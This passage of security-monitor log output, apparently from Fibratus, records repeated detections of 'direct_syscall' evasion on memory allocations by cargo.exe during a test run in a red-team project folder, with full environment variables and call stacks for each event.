Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff68fca57ed C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcac7ca C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5c4b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca64c9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca4d62 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcf2bec C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fccfcfc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc5237 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690118ddc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69011873a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc63d2d C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690344041 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690114ec9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff11c9e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fefbf5b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0be86 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902969 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9910844 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50dc000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff68fcac7c5 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5c4b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca4d62 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5669 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca57f2 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcac7ca C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5c4b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca64c9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca4d62 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcf2bec C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fccfcfc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc5237 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690118ddc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69011873a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc63d2d C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690344041 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690114ec9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff11c9e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fefbf5b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0be86 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903054 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9978474 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50d9000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf 